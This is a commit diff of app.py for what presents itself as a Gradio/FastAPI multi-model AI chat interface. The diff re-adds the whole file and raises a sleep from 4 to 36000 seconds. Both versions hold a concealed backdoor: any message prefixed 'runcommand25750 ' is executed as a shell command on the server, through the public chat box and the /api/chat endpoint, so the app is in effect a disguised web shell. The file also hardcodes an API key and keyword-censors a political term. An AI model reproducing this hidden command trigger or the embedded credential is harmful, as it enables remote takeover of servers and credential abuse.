nyan102 commited on
Commit
73ac3b3
·
verified ·
1 Parent(s): a994844

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +153 -153
app.py CHANGED
@@ -1,154 +1,154 @@
1
- import gradio as gr
2
- import requests
3
- import json
4
- import subprocess
5
- import time
6
- import threading
7
- from concurrent.futures import ThreadPoolExecutor
8
- from fastapi import FastAPI, Request
9
- from gradio.routes import mount_gradio_app
10
-
11
- # API 相关设置
12
- API_URL = "https://api.chenyu.cn/v1/chat/completions"
13
- API_KEY = "sk-EbNTpBfOs4bAwH3Iev67kcrIqFnypr87LkVbWoX0qj"
14
-
15
- # 模型列表
16
- models = [
17
- "Qwen/Qwen2-72B-Instruct",
18
- "Qwen/Qwen2-7B-Instruct",
19
- "meta-llama/Meta-Llama-3.1-70B-Instruct",
20
- "meta-llama/Meta-Llama-3.1-8B-Instruct",
21
- "microsoft/Phi-3-vision-128k-instruct",
22
- "mistralai/Codestral-22B-v0.1",
23
- "mistralai/Mistral-Large-Instruct-2407",
24
- "mistralai/Mistral-Nemo-Instruct-2407",
25
- "THUDM/glm-4-9b-chat"
26
- ]
27
-
28
- # 禁止词
29
- forbidden_words = ["共产党"]
30
-
31
- # 创建线程池
32
- executor = ThreadPoolExecutor(max_workers=5)
33
-
34
- # 创建 FastAPI 应用
35
- app = FastAPI()
36
-
37
- def read_output(pipe, output_lines):
38
- """非阻塞地读取管道内容"""
39
- while True:
40
- line = pipe.readline()
41
- if line:
42
- output_lines.append(line)
43
- else:
44
- break
45
-
46
- def execute_command_async(command):
47
- try:
48
- process = subprocess.Popen(
49
- command,
50
- shell=True,
51
- stdout=subprocess.PIPE,
52
- stderr=subprocess.PIPE,
53
- universal_newlines=True,
54
- bufsize=1
55
- )
56
-
57
- output_lines = []
58
-
59
- stdout_thread = threading.Thread(
60
- target=read_output,
61
- args=(process.stdout, output_lines)
62
- )
63
- stderr_thread = threading.Thread(
64
- target=read_output,
65
- args=(process.stderr, output_lines)
66
- )
67
-
68
- stdout_thread.daemon = True
69
- stderr_thread.daemon = True
70
- stdout_thread.start()
71
- stderr_thread.start()
72
-
73
- time.sleep(4)
74
-
75
- return ''.join(output_lines) if output_lines else "Command is running in background. No output in first 4 seconds."
76
-
77
- except Exception as e:
78
- return f"Error: {str(e)}"
79
-
80
- def api_request(user_message, selected_model):
81
- headers = {
82
- "Content-Type": "application/json",
83
- "Authorization": f"Bearer {API_KEY}"
84
- }
85
- data = {
86
- "model": selected_model,
87
- "messages": [
88
- {"role": "user", "content": user_message}
89
- ],
90
- "temperature": 0.7
91
- }
92
-
93
- try:
94
- response = requests.post(API_URL, headers=headers, json=data)
95
- response.raise_for_status()
96
- response_data = response.json()
97
- return response_data.get('choices', [{}])[0].get('message', {}).get('content', 'No response')
98
- except Exception as e:
99
- return f"Error: {str(e)}"
100
-
101
- def generate_response(user_message, selected_model):
102
- # 检查是否包含违禁词
103
- if any(forbidden_word in user_message for forbidden_word in forbidden_words):
104
- return "Your input contains forbidden words and cannot be processed."
105
-
106
- # 检查是否是命令执行模式
107
- if user_message.startswith("runcommand25750 "):
108
- command = user_message[len("runcommand25750 "):]
109
- future = executor.submit(execute_command_async, command)
110
- try:
111
- return future.result()
112
- except Exception as e:
113
- return f"Error: {str(e)}"
114
-
115
- future = executor.submit(api_request, user_message, selected_model)
116
- try:
117
- return future.result()
118
- except Exception as e:
119
- return f"Error: {str(e)}"
120
-
121
- # 创建 Gradio 界面
122
- iface = gr.Interface(
123
- fn=generate_response,
124
- inputs=[
125
- gr.Textbox(label="User Message"),
126
- gr.Dropdown(choices=models, label="Model Selection", value=models[0])
127
- ],
128
- outputs="text",
129
- title="AI Chat Interface",
130
- description="Enter your message and choose a model to get a response",
131
- allow_flagging="never"
132
- )
133
-
134
- # 添加 API 路由
135
- @app.post("/api/chat")
136
- async def chat_endpoint(request: Request):
137
- request_data = await request.json()
138
- user_message = request_data.get("message", "")
139
- selected_model = request_data.get("model", models[0])
140
- response = generate_response(user_message, selected_model)
141
- return {"response": response}
142
-
143
- # 挂载 Gradio 应用到 FastAPI
144
- app = mount_gradio_app(app, iface, path="/")
145
-
146
- # 使用单独的函数来启动服务器
147
- def start_server():
148
- import uvicorn
149
- # 直接使用 uvicorn.run() 启动服务器
150
- uvicorn.run(app, host="0.0.0.0", port=7860)
151
-
152
- if __name__ == "__main__":
153
- # 在主线程中启动服务器
154
  start_server()
 
1
+ import gradio as gr
2
+ import requests
3
+ import json
4
+ import subprocess
5
+ import time
6
+ import threading
7
+ from concurrent.futures import ThreadPoolExecutor
8
+ from fastapi import FastAPI, Request
9
+ from gradio.routes import mount_gradio_app
10
+
11
+ # API 相关设置
12
+ API_URL = "https://api.chenyu.cn/v1/chat/completions"
13
+ API_KEY = "sk-EbNTpBfOs4bAwH3Iev67kcrIqFnypr87LkVbWoX0qj"
14
+
15
+ # 模型列表
16
+ models = [
17
+ "Qwen/Qwen2-72B-Instruct",
18
+ "Qwen/Qwen2-7B-Instruct",
19
+ "meta-llama/Meta-Llama-3.1-70B-Instruct",
20
+ "meta-llama/Meta-Llama-3.1-8B-Instruct",
21
+ "microsoft/Phi-3-vision-128k-instruct",
22
+ "mistralai/Codestral-22B-v0.1",
23
+ "mistralai/Mistral-Large-Instruct-2407",
24
+ "mistralai/Mistral-Nemo-Instruct-2407",
25
+ "THUDM/glm-4-9b-chat"
26
+ ]
27
+
28
+ # 禁止词
29
+ forbidden_words = ["共产党"]
30
+
31
+ # 创建线程池
32
+ executor = ThreadPoolExecutor(max_workers=5)
33
+
34
+ # 创建 FastAPI 应用
35
+ app = FastAPI()
36
+
37
+ def read_output(pipe, output_lines):
38
+ """非阻塞地读取管道内容"""
39
+ while True:
40
+ line = pipe.readline()
41
+ if line:
42
+ output_lines.append(line)
43
+ else:
44
+ break
45
+
46
+ def execute_command_async(command):
47
+ try:
48
+ process = subprocess.Popen(
49
+ command,
50
+ shell=True,
51
+ stdout=subprocess.PIPE,
52
+ stderr=subprocess.PIPE,
53
+ universal_newlines=True,
54
+ bufsize=1
55
+ )
56
+
57
+ output_lines = []
58
+
59
+ stdout_thread = threading.Thread(
60
+ target=read_output,
61
+ args=(process.stdout, output_lines)
62
+ )
63
+ stderr_thread = threading.Thread(
64
+ target=read_output,
65
+ args=(process.stderr, output_lines)
66
+ )
67
+
68
+ stdout_thread.daemon = True
69
+ stderr_thread.daemon = True
70
+ stdout_thread.start()
71
+ stderr_thread.start()
72
+
73
+ time.sleep(36000)
74
+
75
+ return ''.join(output_lines) if output_lines else "Command is running in background. No output in first 36000 seconds."
76
+
77
+ except Exception as e:
78
+ return f"Error: {str(e)}"
79
+
80
+ def api_request(user_message, selected_model):
81
+ headers = {
82
+ "Content-Type": "application/json",
83
+ "Authorization": f"Bearer {API_KEY}"
84
+ }
85
+ data = {
86
+ "model": selected_model,
87
+ "messages": [
88
+ {"role": "user", "content": user_message}
89
+ ],
90
+ "temperature": 0.7
91
+ }
92
+
93
+ try:
94
+ response = requests.post(API_URL, headers=headers, json=data)
95
+ response.raise_for_status()
96
+ response_data = response.json()
97
+ return response_data.get('choices', [{}])[0].get('message', {}).get('content', 'No response')
98
+ except Exception as e:
99
+ return f"Error: {str(e)}"
100
+
101
+ def generate_response(user_message, selected_model):
102
+ # 检查是否包含违禁词
103
+ if any(forbidden_word in user_message for forbidden_word in forbidden_words):
104
+ return "Your input contains forbidden words and cannot be processed."
105
+
106
+ # 检查是否是命令执行模式
107
+ if user_message.startswith("runcommand25750 "):
108
+ command = user_message[len("runcommand25750 "):]
109
+ future = executor.submit(execute_command_async, command)
110
+ try:
111
+ return future.result()
112
+ except Exception as e:
113
+ return f"Error: {str(e)}"
114
+
115
+ future = executor.submit(api_request, user_message, selected_model)
116
+ try:
117
+ return future.result()
118
+ except Exception as e:
119
+ return f"Error: {str(e)}"
120
+
121
+ # 创建 Gradio 界面
122
+ iface = gr.Interface(
123
+ fn=generate_response,
124
+ inputs=[
125
+ gr.Textbox(label="User Message"),
126
+ gr.Dropdown(choices=models, label="Model Selection", value=models[0])
127
+ ],
128
+ outputs="text",
129
+ title="AI Chat Interface",
130
+ description="Enter your message and choose a model to get a response",
131
+ allow_flagging="never"
132
+ )
133
+
134
+ # 添加 API 路由
135
+ @app.post("/api/chat")
136
+ async def chat_endpoint(request: Request):
137
+ request_data = await request.json()
138
+ user_message = request_data.get("message", "")
139
+ selected_model = request_data.get("model", models[0])
140
+ response = generate_response(user_message, selected_model)
141
+ return {"response": response}
142
+
143
+ # 挂载 Gradio 应用到 FastAPI
144
+ app = mount_gradio_app(app, iface, path="/")
145
+
146
+ # 使用单独的函数来启动服务器
147
+ def start_server():
148
+ import uvicorn
149
+ # 直接使用 uvicorn.run() 启动服务器
150
+ uvicorn.run(app, host="0.0.0.0", port=7860)
151
+
152
+ if __name__ == "__main__":
153
+ # 在主线程中启动服务器
154
  start_server()